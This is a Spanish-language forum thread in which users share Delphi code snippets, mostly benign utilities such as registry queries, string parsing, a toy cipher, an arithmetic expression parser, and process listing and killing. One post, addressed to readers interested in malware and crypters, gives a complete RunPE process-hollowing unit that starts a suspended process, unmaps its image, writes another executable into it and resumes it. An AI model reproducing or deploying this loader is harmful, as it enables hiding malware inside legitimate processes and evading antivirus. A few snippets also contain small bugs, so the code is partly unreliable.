Librería de Snippets para Delphi

[crack81]

¿Que es un Snippet?

*Es un extracto de código que suele contener una o varias Subrutinas con el propósito de realizar una tarea específica,
cuyo código es reusable por otras personas y fácil de integrar con sólamente copiar y pegar el contenido del Snippet.


Este post esta dedicado para publicar librerias o subrutinas del lenguaje Delphi/pascal,
ya que en mi punto de vista hay falta de material comparada a lenguajes estilo c++o visual basic, esto pueda ayudar a otros nuevos programadores a introducirse en este lenguaje.


*Informacion extraida del post de snippet de Elektro


Funcion para obtener el navegador prederterminado

Código (delphi) [Seleccionar] Expandir

uses
  SysUtils,Registry,windows;


function getBrowser():string;
begin
with TRegistry.Create do
  try
    RootKey:=HKEY_CURRENT_USER;
    if openkey('\Software\Clients\StartMenuInternet',false) then
    begin
      result:=ReadString('');
      CloseKey;
    end
    else
      result:='Unknow';
  finally
   free;
  end;
end;

var
navegador:string;
begin
//uso de la funcion
  navegador:=getBrowser();
  writeln('Nuestro navegador es ',navegador);//en mi caso devolver mozilla firefox
  readln;
end.


Funcion delimitator que corta una cadena entre dos delimitadores

Código (delphi) [Seleccionar] Expandir

uses
  SysUtils;


function Delimitador(cadena,delm1,delm2:string):string;
var
pos1,pos2:integer;
ext,sfinal:string;
begin
  sfinal:='';
  pos1:=AnsiPos(delm1,cadena);
  if pos1<>0 then
  begin
    ext:=copy(cadena,pos1+length(delm1),length(cadena)-length(delm1));
    pos2:=AnsiPos(delm2,ext);
    if pos2<>0 then
    begin
      sfinal:=copy(ext,1,pos2-1);
    end;
  end;
result:=sfinal;
end;

begin
//uso de la funcion
  writeln(delimitador('hola_mundo_como_estas','hola','estas'));
  {devolveria: _mundo_como_ }
  readln;
end.


Funcion para obtener el S.O que estamos utilizando

Código (delphi) [Seleccionar] Expandir

uses
  SysUtils,windows;


function getOperatingSystem: string;
var
osVersionInfo:TOSVersionInfo;
majorVersion,minorVersion:dword;
begin
   Result:='Unknown';
   osVersionInfo.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);

   if GetVersionEx(osVersionInfo) then
   begin

     majorVersion:=osVersionInfo.dwMajorVersion;
     minorVersion:=osVersionInfo.dwMinorVersion;

     if (majorVersion=10) and (minorVersion=0) then Result:='Windows 10'

     else if (majorVersion=6) and (minorVersion=3) then Result:='Windows 8.1'

     else if (majorVersion=6) and (minorVersion=2) then Result:='Windows 8'

     else if (majorVersion=6) and (minorVersion=1) then Result:='Windows 7'

     else if (majorVersion=6) and (minorVersion=0) then Result:='Windows vista'

     else if (majorVersion=5) and (minorVersion=1) then Result:='Windows xp'
   end;
end;

var
SO:string;
begin
//uso de la funcion
SO:=getOperatingSystem;
writeln('Sistema operativo actual: ',SO);//Nos muestra el S.O
readln;
end.


Funcion para buscar la posicion de una cadena dentro de otra

Código (delphi) [Seleccionar] Expandir

uses
  SysUtils;


function StringInStr(const Cadena,Buscar:string):integer;
var
i,pos,fin:integer;
begin
  pos:=1; fin:=-1;
  if length(Cadena)>=length(Buscar) then
  begin
    for i :=1  to length(Cadena) do
    begin
      if  Cadena[i]=Buscar[pos] then
      begin

        if pos=length(Buscar) then
        begin
           fin:=i-length(Buscar)+1;
           Break;
        end;
        inc(pos);
      end;

    end;
  end;
result:=fin;
end;

var
cadena:integer;
begin
//uso de la funcion
cadena:=StringInStr('lAHola mundo','la');
writeln('Posion de m en la cadena ',cadena);//Nos regresa la posion 5
readln;
end.



Unit para cifrar y descifrar una cadena el autor es Scorpio pero la hizo en autoit
asi que yo le hice la traduccion a Delphi

Código (delphi) [Seleccionar] Expandir

unit sAlakran;

interface
uses StrUtils,SysUtils;

function sCipher(text,key:string):string;
function sUnCipher(text,key:string):string;

implementation

function asc(letras:string):integer;
begin
   if length(letras)>=1 then
      result:=ord(letras[1])
   else
     result:=0;
end;

function sCipher(text,key:string):string;
var
i,j,seed:integer;
sfinal:String;
begin
   sfinal:=''; seed:=0;

   for i :=1  to  length(key) do
   begin
     seed:=(seed+asc(key)) * length(key);
     key:=AnsiMidStr(key,2,length(key)-1);
   end;

   for j:=1 to length(text) do
   begin
     sfinal:=sfinal+IntToStr((ord(text[1])+seed));
     text:= AnsiMidStr(text,2,length(text));
   end;

   result:=sfinal;
end;


function sUnCipher(text,key:string):string;
var
seed,step,tamano,i,j:integer;
sfinal:string;
begin
   seed:=0; sfinal:='';

   for i :=1  to length(key) do
   begin
     seed:=(seed+asc(key))*length(key);
     key:=AnsiMidStr(key,2,length(key)-1);
   end;

   step:=length(inttostr(seed));
   j:=step;
   tamano:=length(text);

   while(j<=tamano) do
   begin
      sfinal:=sfinal+chr(strtoint(AnsiLeftStr(text,step))-seed);
      text:= AnsiMidStr(text,step+1,length(text));
      j:=j+step;
   end;
   result:=sfinal;
end;

end.


uso:

Código (delphi) [Seleccionar] Expandir

uses
  SysUtils,
  sAlakran in 'sAlakran.pas';

var
cadena:string;
begin
//uso de la funcion
cadena:=sCipher('hola mundo45','12');
writeln('la cadena cifrada es  ',cadena);//Nos regresa la posion 5
cadena:=sUnCipher(cadena,'12');
writeln('la cadena descifrada es ',cadena);
readln;
end.


[crack81]

Funcion hecha en delphi para hacer operaciones matematicas como la suma,resta,multiplciacion y potencia
utilizando string

Ejemplo tenemos la operacion ---------->(5*3)+(2^4)-(2*-3) en vez de estar realizando la operacion paso por paso la metemos dentro de un string y la evaluamos directamente
con nuestra funcion y dara el resultado correcto

al utilizar la funcion es necesario especificar los operadores aritmeticos porque sino dara error
abajo les dejo un ejemplo de su uso

Código (delphi) [Seleccionar] Expandir

program Project2;
{$APPTYPE CONSOLE}
{$WriteableConst On}//esta directiva es necearia para modificar constantes

uses
  SysUtils,Math;


// Grammar:
        // expression = term | expression `+` term | expression `-` term
        // term = factor | term `*` factor | term `/` factor | term brackets
        // factor = brackets | number | factor `^` factor
        // brackets = `(` expression `)`

//Esta funcion utliza recursividad mutua


function EvaluarString(const str:string):double;
const
pos:integer=0;//inicia en cero para despues convertirse en 1
var
c:integer;
procedure eatChar; //va obteniendo caracter por caracter excepto los vacios
begin
  inc(pos);
  if pos<=length(str) then c:=ord(str[pos])
  else c:=0;
end;
procedure eatSpace; //come los espacions en blanco
begin
  while c=32 do eatChar;
end;
function parseExpresion:double; forward; //prototipo de la funcion
function parseTerm:double; forward;  //prototipo de la funcion
function parseFactor:double; forward;  //prototipo de la funcion
function parse:double;
var
v:double;
begin
  eatChar();
  v:=parseExpresion();

  if c<>0 then
  begin
    writeln('Error en el simbolo ',char(c));
    Result:=0.0;
    Exit;
  end;
  Result:=v;
end;
function parseExpresion:double;
var
v:double;
begin
   v:=parseTerm();

   while(true)do
   begin

     eatSpace();

     if c=ord('+') then //suma
     begin
       eatChar();
       v:=v+parseTerm();
     end
     else if c=ord('-') then  //resta
     begin
       eatChar();
       v:=v-parseTerm();
     end
     else
     begin
       Result:=v;
       break;//necesario si no entra en un bucle sin fin
     end;
   end;
end;
function parseTerm:double;
var
v:double;
begin
  v:=parseFactor();
  while True do
  begin
    eatSpace();

    if c=ord('/') then
    begin
      eatChar;
      v:=v/parseFactor;
    end
    else if((c=ord('*')) or (c=ord('('))) then  //multiplicacion
    begin
       if c=ord('*') then eatChar;
       v:=v*parseFactor();
    end
    else
    begin
      Result:=v;
      break;//necesario si no entra en un bucle sin fin
    end;
  end;
end;
function parseFactor:double;
var
v:double;
negate:boolean;
sb:string;
begin
  negate:=false;
  eatSpace;

  if c=ord('(') then
  begin
    eatChar;
    v:=parseExpresion;

    if c=ord(')') then eatChar;
  end
  else   //numeros
  begin
    if ((c=ord('+')) or (c=ord('-'))) then  //simbolos unarios positivo y negativo
    begin
      negate:=c=ord('-');
      eatChar;
      eatSpace;
    end;

    sb:='';
    while (((c>=ord('0'))and (c<=ord('9'))) or (c=ord('.'))) do
    begin
      sb:=sb+chr(c);
      eatChar;
    end;


    if length(sb)=0 then
    begin
      writeln('Error no existen caracterese en sb');
      result:=0.0;
      Exit;
    end;

    v:=strtofloat(sb);
  end;
  eatSpace;
  if c=ord('^') then  //exponente
  begin
    eatChar;
    v:=Math.Power(v,parseFactor);
  end;

  if negate then v:=-v;
  result:=v;
end;
begin
  result:=parse();//retorna la operacion
end;


var
e:double;
begin
  //Ejemplo de uso
  e:=EvaluarString('(5*3)+(5^2)');  //evaluar expresion
  writeln(e:0:2);//resultado 40
  readln;
end.

[crack81]

Funcion para convetir  de string a hexadecimal y viceversa

Código (delphi) [Seleccionar] Expandir

uses
  SysUtils;

function stringToHex(const data:string):string;
var
i:integer;
sfinal:String;
begin
  sfinal:='';

  for i:=0 to length(data) do
  begin
    sfinal:=sfinal+IntToHex(ord(data[i]),2);
  end;
  result:=sfinal;
end;


function hexTostring(const data:string):string;
var
i:integer;
sfinal:String;
begin
  i:=1;
  sfinal:='';

  if(length(data)mod 2<>0)then
  begin
    Result:='';
    Exit;
  end;

  while(i<=length(data))do
  begin
    sfinal:=sfinal+chr(strtoint('$'+(Copy(data,i,2))));
    i:=i+2;
  end;
  result:=sfinal;
end;

var
str,normal:String;
begin
str:=stringToHex('hola mundo');
writeln('En hexadecimal es ',str);
normal:=hexTostring(str);
writeln('lo regresamos a la normalidad ',normal);
readln;
end.


Funcion renombrar archivos el autor original es Elektro yo solo le hice la traduccion

Código (delphi) [Seleccionar] Expandir

function renameFile(_File:string;NewFilename:string;NewFileExtension:string=''):boolean;
begin
  if FileExists(_File) then
  begin
    try
      if NewFileExtension='' then
        MoveFile(pchar(_File),pchar(ExtractFilePath(_File)+NewFilename+ExtractFileExt(_File)))
      else
        MoveFile(pchar(_File),pchar(ExtractFilePath(_File)+NewFilename+'.'+NewFileExtension));
    except
      on E:Exception do
        result:=False;
    end;
  end
  else
    Result:=False;
end;


[crack81]

Funcion para obtener la arquitectura del sistema operativo

Código (delphi) [Seleccionar] Expandir

function getArchitecture:string;
var
sysInfo:SYSTEM_INFO;
begin
   GetSystemInfo(sysInfo);
   case sysInfo.wProcessorArchitecture of
     0:result:='x86';
     9:result:='x64';
     else result:='unknown';
   end;
end;

Funcion para obtener el numero de procesadores

Código (delphi) [Seleccionar] Expandir

function numberOfProcessors:Dword;
var
sysInfo:SYSTEM_INFO;
begin
   GetSystemInfo(sysInfo);
   result:=sysInfo.dwNumberOfProcessors;
end;


Funcion para obtener el tipo de procesador

Código (delphi) [Seleccionar] Expandir

function ProcessorType:string;
var
sysInfo:SYSTEM_INFO;
begin
   GetSystemInfo(sysInfo);
   case sysInfo.dwProcessorType of
     220:result:='PROCESSOR_INTEL_IA64';
     386:result:='PROCESSOR_INTEL_386';
     486:result:='PROCESSOR_INTEL_486';
     586:result:='PROCESSOR_INTEL_PENTIUM_586';
     8664:result:='PROCESSOR_AMD_X8664';
     else result:='Unknown';
   end;
end;

Esta ultima funcion segun microsoft deberia estar obsoleta
no olviden añadir el use windows para poder usar las funciones

ejemplo de uso

Código (delphi) [Seleccionar] Expandir

begin
   writeln('Arquitectura de la computadora ',getArchitecture()); //en mi caso x86
   writeln('Numero de procesadores ',numberOfProcessors());
   writeln('Tipo de procesador ', ProcessorType());//esta funcion deberia estar obsoleta
   readln;
end.


[crack81]

Funcion para saber si un numero esta en un rango entre dos numeros,
si es cierto retorna true sino retorna false

Código (delphi) [Seleccionar] Expandir

function numberIsInRange(const number,min,max:integer):boolean;
begin
result:=((min<=number) and (number<=max));
end;

begin
    writeln(numberIsInRange(5,1,100);  //muestra true
    writeln(numberIsInRange(0,55,98);  //muestra false
    writeln(numberIsInRange(25,55,98); //muestra true
    Readln;
end.


Funcion que muestra los tamaños maximos de los diferentes tipos de entero
en Delphi, el enfoque principal son las funciones low y High que son las
encargadas de retornarnos ese valor, esto solo es valido con numeros enteros
y no con reales

Código (delphi) [Seleccionar] Expandir

procedure sizeMaxOfDataType;
begin
  writeln('Byte    -> ',low(Byte),' to ',high(Byte));
  writeln('Integer -> ',low(integer),' to ',high(integer));
  writeln('Int64   -> ',low(Int64),' to ',high(Int64));
  writeln('LongInt -> ',low(LongInt),' to ',high(LongInt));
  writeln('Longword -> ',low(Longword),' to ',high(Longword));
  writeln('Word -> ',low(Word),' to ',high(Word));
end;


Funciones una para leer archivos .exe y almacenarlo como string y la otra para poder convertir strings a .exe
utilizando la clase Tfilestream

Código (delphi) [Seleccionar] Expandir

uses
  SysUtils,classes;

{
Funcion que lee un fichero y lo convierte a string el caso mas comun es
cuando necesitas leer un exe y hacer alguna modifcacion como cifrarlo o
alterar su informacion la funcion necesita el use classes para poder llamar a
la clase Tfilestream

}
function binaryToString(const path:string):String;
var
_File:TFileStream;
size:Int64;
begin
  if FileExists(path) then
  begin
    _File:=TFileStream.Create(path,fmOpenRead);
    try
      size:=_File.Size;
      SetLength(result,size);
      _File.Read(result[1],size);
    finally
      _File.Free;
    end;
  end
  else result:='';
end;


{Funcion para crear un fichero en base a un string que le pasemos, esta
funcion se usa en conjunto con la anterior ya que despues de leer y modificar
un fichero necesitamos volver a regresarlo a un estado de fichero  por eso la
necesidad de esta funcion.
}
function stringToBinary(const nameExe,source:string):Boolean;
var
_File:TFileStream;
begin
  result:=false;
  _File:=TFileStream.Create(nameExe,fmCreate);
  try
    _File.Write(source[1],length(source));
  finally
    _File.Free;
  end;

  result:=true;
end;

var
source:string;
begin
    source:=binaryToString('C:\archivo.exe');
    stringToBinary('C:\nuevoArchivo.exe',source);
    writeln('listo');
    Readln;
end.


[crack81]

Para los que les gusta el tema del malware y los crypter les traigo una traduccion que hice de un runpe originalmente hecho en c++

Código (delphi) [Seleccionar] Expandir

unit Unit1;

interface
uses windows;

procedure run(szFilePath:LPSTR;pFile:PVOID);

implementation

function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
procedure RtlZeroMemory(Destination:pointer;Length:DWORD);stdcall;external 'ntdll';

procedure run(szFilePath:LPSTR;pFile:PVOID);
var
IDH:PImageDosHeader;
INH:PImageNtHeaders;
ISH:PImageSectionHeader;
PI:PROCESS_INFORMATION;
SI:STARTUPINFOA;
CTX:PContext;
dwImageBase:PDWORD;
pImageBase:LPVOID;
count:Integer;
BitesRead:SIZE_T;
ByteWritten:SIZE_T;
ByteWritten2:SIZE_T;
ByteWritten3:SIZE_T;
begin
  IDH:=PImageDosHeader(pFile);
  if (IDH.e_magic=IMAGE_DOS_SIGNATURE) then
  begin
    INH:=PImageNtHeaders(DWORD(pFile)+IDH._lfanew);
    if INH.Signature=IMAGE_NT_SIGNATURE then
    begin
      RtlZeroMemory(@SI,sizeof(SI));
      RtlZeroMemory(@PI, sizeof(PI));

      if( CreateProcessA(szFilePath,nil,nil,nil,false,CREATE_SUSPENDED,nil,nil,SI,PI)) then
      begin
         CTX:=PContext(VirtualAlloc(nil,sizeof(CTX),MEM_COMMIT,PAGE_READWRITE));
         CTX.ContextFlags:=CONTEXT_FULL;

         if GetThreadContext(PI.hThread,_CONTEXT(CTX^)) then
         begin
           ReadProcessMemory(PI.hProcess,pointer(CTX.Ebx+8),pointer(@dwImageBase),4,BitesRead);

           if (Dword(dwImageBase)=INH.OptionalHeader.ImageBase) then
           begin
             NtUnmapViewOfSection(PI.hProcess,pointer(dwImageBase));
           end;

            pImageBase:= VirtualAllocEx(PI.hProcess, POINTER(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, 12288, PAGE_EXECUTE_READWRITE);
            if pImageBase<>nil then
            begin
              WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH.OptionalHeader.SizeOfHeaders, ByteWritten);
              for count := 0 to INH.FileHeader.NumberOfSections-1 do
              BEGIN
                  ISH:=PImageSectionHeader(DWORD(pFile) + IDH._lfanew+ 248 + (Count * 40));
                  WriteProcessMemory(PI.hProcess, pointer(DWORD(pImageBase) + ISH.VirtualAddress), pointer(DWORD(pFile) + ISH.PointerToRawData), ISH.SizeOfRawData, ByteWritten2);
              END;

               WriteProcessMemory(PI.hProcess, pointer(CTX.Ebx + 8), pointer(@INH.OptionalHeader.ImageBase), 4, ByteWritten3);
               CTX.Eax := DWORD(pImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
               SetThreadContext(PI.hThread, _CONTEXT(CTX^));
               ResumeThread(PI.hThread);
            end;

         end;

      end;

    end;

  end;
   VirtualFree(ctx, 0, MEM_RELEASE)

end;

end.

[Eleкtro]

¿Nadie va a decir nada o que?  

pues lo digo yo: GRACIAS POR COMPARTIR DESINTERESADAMENTE, muy buen aporte.

PD: El embarcadero lo tengo muerto de risa, quizás algún día lo reviva aunque sea para probar alguno de estos códigos por pura curiosidad.

Saludos!

[crack81]

Funciones para el tratamiento de procesos el codigo es extraido de club Delphi

Código (delphi) [Seleccionar] Expandir

uses
  SysUtils,windows,TlHelp32;

{obtener el nombre de los procesos activos}
procedure obtenerProcesos;
var
continuar:BOOL;
snapshotHandle:THandle;
processEntry32:TProcessEntry32;
begin
    { Creas un Handle para leer procesos }
   snapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   try
    { Creás un buffer de procesos }
    processEntry32.dwSize:=sizeof(processEntry32);
    { continuar es un flag que busca el siguiente proceso y, si hay, lo guarda en processEntry32 }
    continuar:=Process32First(snapshotHandle,processEntry32);

    while continuar do
    begin
       {muestra los procesos por consola}
       writeln(processEntry32.szExeFile);
       {busca el siguiente proceso si retorna false sale del bucle}
       continuar:=Process32Next(snapshotHandle,processEntry32);
    end;
   finally
     {cerramos el handle llamado snapshotHandle}
     CloseHandle(snapshotHandle);
   end;
end;


{compruba si un proceso esta activo a traves de su nombre}
function ProcessExists(AExeName: String): boolean;
var
  ContinueLoop: LongBool;
  FSnapshotHandle: THandle;
  FProcess: TProcessEntry32;
  FExeFound: TFileName;
begin
  { Limpias el hacés un genérico para el FileName }
  AExeName := UpperCase(AExeName);
  Result := False;
  { Creas un Handle para leer procesos }
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  { Creás un buffer de procesos }
  FProcess.dwSize := SizeOf(FProcess);
  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  while (ContinueLoop) and NOT(Result) do
  begin
    { Almacenás el nombre "genéroco" del proceso encontrado }
    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
    Result := (FExeFound = AExeName);
    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  end;
  { Cerrás el Handle }
  CloseHandle(FSnapshotHandle);
end;


{mata algun proceso activo}
function ProcessKill(AExeName: String; Iterative: boolean = TRUE): boolean;
const
  TERMINATE = $0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcess: TProcessEntry32;
  FExeFound: TFileName;
Label NO_ITERATIVE;
begin
  Result := False;
  { Limpias el hacés un genérico para el FileName }
  AExeName := UpperCase((AExeName));
  { Creas un Handle para leer procesos }
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  { Creás un buffer de procesos }
  FProcess.dwSize := SizeOf(FProcess);
  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  while (ContinueLoop) do
  begin
    { Almacenás el nombre "genéroco" del proceso encontrado }
    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
    if (FExeFound = AExeName) then
    begin
      Result := True;
      { Para matarlo lo debés abrir con el flag de TERMINATE }
      TerminateProcess(OpenProcess(TERMINATE, BOOL(0), FProcess.th32ProcessID),0);
      if NOT(Iterative) then { Si no es iterativo sale directamente a cerrar el Handle }
        GoTo NO_ITERATIVE;
    end;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  end;
NO_ITERATIVE :
  CloseHandle(FSnapshotHandle);
end;


begin

  obtenerProcesos;//muestra el nombre de los procesos activos
  writeln;
  writeln('Existe calc.exe ',ProcessExists('calc.exe')); //es la calculadora de windows
  Writeln('Proceso matado ',ProcessKill('calc.exe'));
  readln;
end.


[crack81]

Funcion para obtener la ultima version del framework .NET

Código (delphi) [Seleccionar] Expandir

uses

  Classes,SysUtils,Registry
  { you can add units after this };

function getNetVersion:string;
var
  values:TStringList;
begin
  with TRegistry.Create do
  try
    RootKey:=HKEY_LOCAL_MACHINE;
    if OpenKey('\SOFTWARE\Microsoft\NET Framework Setup\NDP',false) then
    begin
      values:=TStringList.Create;
      try
        GetKeyNames(values);
        if values.Count>0 then result:=values[values.Count-1]
        else result:='Unknown';
      finally
        values.Free;
      end;
      CloseKey();
    end
  finally
    free;
  end;
end;

var
  cadena:String;
begin
   cadena:=getNetVersion;
   writeln(cadena);
   readln;
end.

[BDWONG]

Funcion para acortar urls usando la api de tinyurl, les dejo la funcion y coomo usarla

Código (delphi) [Seleccionar] Expandir

uses
  SysUtils,idhttp;

function getShortUrl(const url: string): string;
var
http:TIdHTTP;
begin
  http:=TIdHTTP.Create(nil); //creamos el objeto
  try
   Result:=http.Get('http://tinyurl.com/api-create.php?url='+url); //retornamos la url
  finally
   http.Free;//liberamos el objeto
  end;
end;


//ejemplo de uso
var //declaramos variables
url:string;
urlCorta:string;
begin
  url:='https://www.google.com.mx'; //url original
  urlCorta:=getShortUrl(url); //obtenemos la url corta
  writeln('La url es: ',urlCorta);//la mostramos por pantalla
  Readln;
end.